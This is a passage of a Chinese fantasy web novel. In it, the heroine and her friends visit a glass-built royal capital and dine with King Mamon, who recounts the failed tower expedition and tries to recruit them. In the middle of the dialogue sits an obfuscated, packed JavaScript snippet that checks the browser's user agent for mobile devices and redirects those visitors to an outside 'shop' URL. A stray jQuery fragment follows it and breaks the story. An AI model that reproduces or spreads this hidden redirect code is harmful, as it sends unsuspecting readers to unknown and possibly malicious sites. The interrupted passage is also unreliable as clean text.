“没有。”游初玥回答道:“我虽然是摔得有点痛,但脑子可是清醒得很。倒是你,睡了这么些天。” “也就是说,其实那是个梦。” “不知道。”游初玥将餐具收了起来,扮了个鬼脸打趣说:“天使的事,谁说得清楚。说不定你找的那个什么Π,是个睡觉天使呢。” “我会在终点等你。”天使如是说道。 黄果遥望着天空塔。终点,是指哪里呢?天空塔的塔顶吗?为什么带她来到这个世界,天使又究竟想要她去往哪里? “如果你实在在意,”游初玥说,“等你恢复了,我们再回溶洞去看一看,或许能找到一些线索也说不定。” “对了。”游初玥抬手拍了拍床头柜子上放的背包,说:“上午你还睡着的时候郑津梁来过,新做好的戒指都在里面了。” 15. 第 15 章 重回天空塔之后,黄果很快确认了一件事,Π的出现并非是梦这么简单。 黄果确实感受到了某种指引,跟从指引,她总是能很准确地找到守禁夜魔的所在。得益于此,又有天空塔为首的几大联盟作为助力,天空塔的攻略进度突飞猛进,没多久便来到了80层。 三人组声名在外,而后,顺理成章的,游初玥收到了来自王宫的邀请。同样受到邀请的,还有魏知弦、柳惊鸿和祝良等一众联盟的盟首。 从赛斯特到王城,也就半日的路程。与赛斯特绝对实用派的建筑风格不同,王城的建筑极尽浮夸之能。每一幢房屋,除了必要的承重柱,墙面、屋顶都是全玻璃制成。每一面玻璃——必须要强调的是每一面玻璃——都色彩鲜艳、风格鲜明,非得要说得具体一些,黄果觉得单从样式来论那很接近蒂芙尼彩窗画。 王城的地面采用的是灰白色的地砖,阳光照射到房屋的玻璃上,玻璃再反射色彩到道路中。每天随着太阳位置的变化,街道的色彩也不同。 “哟,又见面了。”说这话的不是别人,正是祝良。 他是唯一一个在讨伐战结束后没有找上三人组的人。 “我就说缘分到了的话,我们总会再见的。”祝良自然地将手搭在了曹宽的肩膀上,说:“这里的建筑很华丽吧,我第一次来也吓了一跳。” “稍微有些过头了。” “真敢说啊。”祝良哈哈大笑,道:“不过这才符合我对你的印象。” 祝良勾着曹宽的肩膀向前走。黄果回过头,其他联盟的盟首也陆陆续续到了城门口。 “你以前来过么?”黄果问游初玥。 “听大人们讲过很多次,我也是第一次来。”游初玥随即给黄果科普起来:“这种建筑风格起源于李维。李维毕生以灭除夜魔为己任,登上天空塔的顶层也是为了寻找灭绝夜魔的可能性。他自诩为‘太阳’,这种全玻璃式设计的初衷是告诉人们,太阳可以照射到每个角落,他可以保护所有的古拉人。” “近似于宗教的信仰。” “这么说也没错。” “那么那一栋房子又是什么?”黄果指着前方的高楼问道。即使是在众多的色彩鲜明的楼栋中,那幢高楼也显得鹤立鸡群。不光是因为它的高大宏伟,还因为它是在太过素净、太过封闭。 整个王城唯一一座纯白色的大楼静默地伫立着,楼身看不到哪怕是一个窗口。 “那就是王宫。”一个略微耳熟的声音答道。 黄果与游初玥回过头,朝着她们走来的是魏知弦与柳惊鸿。 几人打过招呼,魏知弦看到了一旁和曹宽勾肩搭背的祝良便调侃起来:“祝盟首不是不喜欢招揽人吗?怎么,这次也坐不住了?” “魏盟首说笑了,我与这位‘剑之天使’怎么说都曾经做过战友,今日既是有缘见到了自然是要好好聊一聊。招揽人这种事我是不干的,出了天空塔不谈公事。” “嗯。”魏知弦若有所思,笑道:“这样也不错,那既是有缘,不如我和刘兄今日就与诸位同行。” 于是六人结伴而行,一道向着雄伟的白色王宫走去。 “这王宫,倒与李维自己的建筑设计理念不合。” “那是因为王宫曾经因为内乱毁坏过,现在这座白色的高楼,是现任古拉王马蒙平定内乱之后重建的。”柳惊鸿悉心地解释道:“李维在天空塔失踪后,乱臣发起政变,是马蒙伐除了他们,保护了李维的遗孀与女儿。” “这件事安彻迪亚也牵扯其中,”游初玥小声说:“所以后来古拉和安彻迪亚就成了死敌。” 行至王宫,众人却被告知只能依次进入王宫觐见。黄果三人在王宫旁的咖啡馆中歇息,直到黄昏才接到传唤。 王宫内一切结构都是灰白的配色。穹顶高到光是看着就感觉心惊,呈三角状,由宽到窄,顶点处似乎在无限向着宇宙延伸。通道内,除了两旁的墙壁上的挂灯,还有一条灰白的长毯一直铺到道路的尽头,再没有其他任何的饰品了。 一切都是那么的千篇一律,这逐渐让黄果失去了时间的概念。不知过了多久,眼前突然出现的一抹亮色才让黄果回过神来。那是一面透明玻璃制成的墙面,隔着玻璃可以看到墙内有一座花园,明黄色、淡粉色、紫色……各式各样的花儿竞相开放,花园的顶部开了一处巨型天窗,阳光正是透过天窗散落到下方的花田中。 花田的正中心,坐着一位衣着华贵的妇人。 “那位是?” “那是先王的王后。”侍者简短地回应,“王从乱臣手里救下了她们母女,保护在王宫中。” 那抹亮色转瞬即逝。在侍者的带领下,很快三人又回到无尽的灰白之中。 * 马蒙的样貌说不上有什么特点,就是很普通的一个人。 “请坐。”马蒙很亲和地邀请众人坐下,道:“辛苦你们这么远从赛斯特赶来。正巧到了晚饭的时间,不如我们边吃边聊。” 黄果三人依言分别在长桌两侧落座。 “游小姐,你真了不起。”马蒙笑呵呵地说:“我都听说了,本来天空塔的进度已经停滞了许久,你来了以后才有了如今的突破。” “盟首们谬赞了。”游初玥格外正经,答道:“我只是做了一些微不足道的事。” “能成大事的人,就要有游小姐你这种伟大的性格。”马蒙举起酒杯,“来,我敬三位勇士一杯。” 一杯热辣的酒滚肠下肚,黄果的眼泪都险些要被催出来了。 “游小姐,还没有问你和你的朋友是哪里人,家在何处?” 三人对视一眼。关于身份和来处这种问题,她们早就预料到了,并为此编造了相应的“设定”。 “王。我们三人都是农户的女儿。幼时因战争与家人失散,要说家,那古拉便是我们的家。” “战争啊……”马蒙叹气,道:“所以我才反对与安彻迪亚开战。战争无论胜败,吃苦的都是人民。” “有您这样的王,是古拉人民的福气。”这句话倒并不完全是奉承。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482461|201826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我所奉行的,都是先王的准则。”马蒙道:“你们可知道,先王李维本是英维蒂亚的子民,和你们一样因战争失去了家庭。至于选成王将他收为了义子,带他来到古拉,是之后的事了。” “原来还有这样一段历史。” “看见你们,我就想起了过去和追随先王攻略天空塔的时候。”马蒙感慨万千,“那是我最快乐的一段时光,但到了80层以后,攻略也是真的万分的凶险、艰难。” “您曾经也是攻略队的其中一员吗?” “是啊,那个时候,天空塔的一切都是未知的。我们永远不知道接下来自己要面对什么。而且我们还不像你们现在,有那本天空塔情报书。”马蒙顿了一下,问道:“那本书怎么样,有没有帮到你们?” “的确是帮了大忙。”游初玥犹豫了一下,还是开口问道:“难道说,那本书是您写的?” “我的力量并不出众。先王是出于保护,将写书的任务交给了我。王总是和我说,‘马蒙,你的任务很重要。不要因为只能呆在后方而懈怠,将来攻略了天空塔,找到彻底消灭夜魔的办法,你现在所写的每一笔都是珍贵的人类奋斗历史。’”马蒙喝了一口闷酒,说: “现在想起来,我那时的快乐或许是因为有人替我承担了痛苦。我总是在后方写书,也因此没有跟随先王登顶,成了那只攻略队唯一幸存下来的人。” “王,我们敬你一杯。”曹宽起身向马蒙敬酒。纵使隶属于不同的阵营,但这些勇士们为了人类而付出的努力依旧让他动容。 马蒙挥了挥手,示意曹宽坐下。“坐下喝,今天这里没有王。我和你们只是朋友,大家聊聊天。” 四人又喝了一轮。 “两位姑娘觉得王城怎么样?”马蒙看向黄果与游初玥。 “漂亮。” “华美。” “那一次天空塔的结局太过惨烈,古拉最有理想、最有能力的一批人几乎都死在了那里,至今元气都未恢复过来。”马蒙话锋一转,道:“不过好在你们来了。天空塔你们已经做了足够多的努力,我认为你们应该去往更需要你们的地方。” “您的意思是?” “比如说这儿。”马蒙张开双臂,“王城现在很需要像你们这样的人才,古拉也不能再承受一次折损了。你们已经付出了足够多,成功让我看到了你们发出的光亮,我希望你们能将这光亮更长久地延续下去,照耀到更遥远的地方,而不是仅限于天空塔。” “可是您刚刚还说,先王曾说要在天空塔找到消灭夜魔的方法。” “没错,那是理想。”马蒙没有丝毫迟疑,“但是理想不能一蹴而就,我清楚知道先王的力量,明白塔顶究竟是多危险的挑战。我们不需要个人英雄主义,不需要更多无畏的牺牲。” 见三人陷入了思考。马蒙接着说:“英雄不问出身。名誉、地位、权力和财宝,我都可以应允你们。未来我们可以有很长的时间,来集结更强的力量,慢慢计划天空塔的攻略,解救古拉,解救全人类。”